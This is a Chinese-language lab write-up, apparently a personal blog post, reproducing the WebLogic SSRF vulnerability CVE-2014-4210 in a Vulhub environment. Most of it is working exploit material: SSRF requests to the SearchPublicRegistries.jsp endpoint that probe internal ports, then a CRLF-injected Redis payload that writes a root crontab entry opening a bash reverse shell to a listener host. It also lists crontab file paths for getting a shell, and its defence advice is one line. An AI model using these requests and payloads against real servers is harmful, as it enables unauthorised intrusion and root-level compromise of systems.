浅析WebLogic SSRF(CVE-2014-4210)
/0x00 前言
简单学习WebLogic SSRF(CVE-2014-4210),这个漏洞已经很老了。
0x01 WebLogic SSRF(CVE-2014-4210)
环境搭建
用的Vulhub:https://vulhub.org/#/environments/weblogic/ssrf/
影响版本
Oracle WebLogic Server 10.0.2, 10.3.6。
漏洞原理
WebLogic的SearchPublicReqistries.jsp接口存在SSRF漏洞,如果服务端或内网存在Redis未授权访问漏洞等则可以进一步打漏洞组合拳进行攻击利用。
漏洞复现
无需登录,可以直接访问/uddiexplorer/
接口,其中漏洞接口如图中所指的Search Public Registries:
访问存活的地址:
1 | /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 |
此时返回的错误信息是:
1 | weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error. |
访问不存在的地址:
1 | /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000 |
此时返回的错误信息是:
1 | weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7000' |
根据二元组的返回结果,就可以判断目标机子的端口服务是否开放,从而进行相应的SSRF攻击。
接着结合内网存在的Redis未授权访问进行利用。
先探测内网是否存在Redis服务:
1 | /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.24.0.2:6379 |
根据响应返回内容看到网络是通的,该内网IP存在Redis服务。
写入crontab计划通过bash反弹shell:
1 | set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/172.22.0.1/6666 0>&1'\n\n\n\n" |
对其进行URL编码:
1 | set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.0.1%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave |
放到存在SSRF的参数值URL后面,注意在前面和后面分别添加%0D%0A%0D%0A
来实现HTTP头CRLF注入:
1 | /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.24.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.0.1%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa |
在Redis服务机子上成功写入crontab:
成功通过crontab定时任务反弹shell:
crontab写入Tips:
/etc/crontab
/etc/cron.d/*
:将任意文件写到该目录下,效果和crontab相同,格式也要一致,并且在该目录操作可以做到不覆盖任何其他文件的情况进行弹shell;/var/spool/cron/root
:CentOS系统下root用户的cron文件;/var/spool/cron/crontabs/root
:Debian系统下root用户的cron文件;
漏洞分析
待分析…
防御方法
升级WebLogic版本。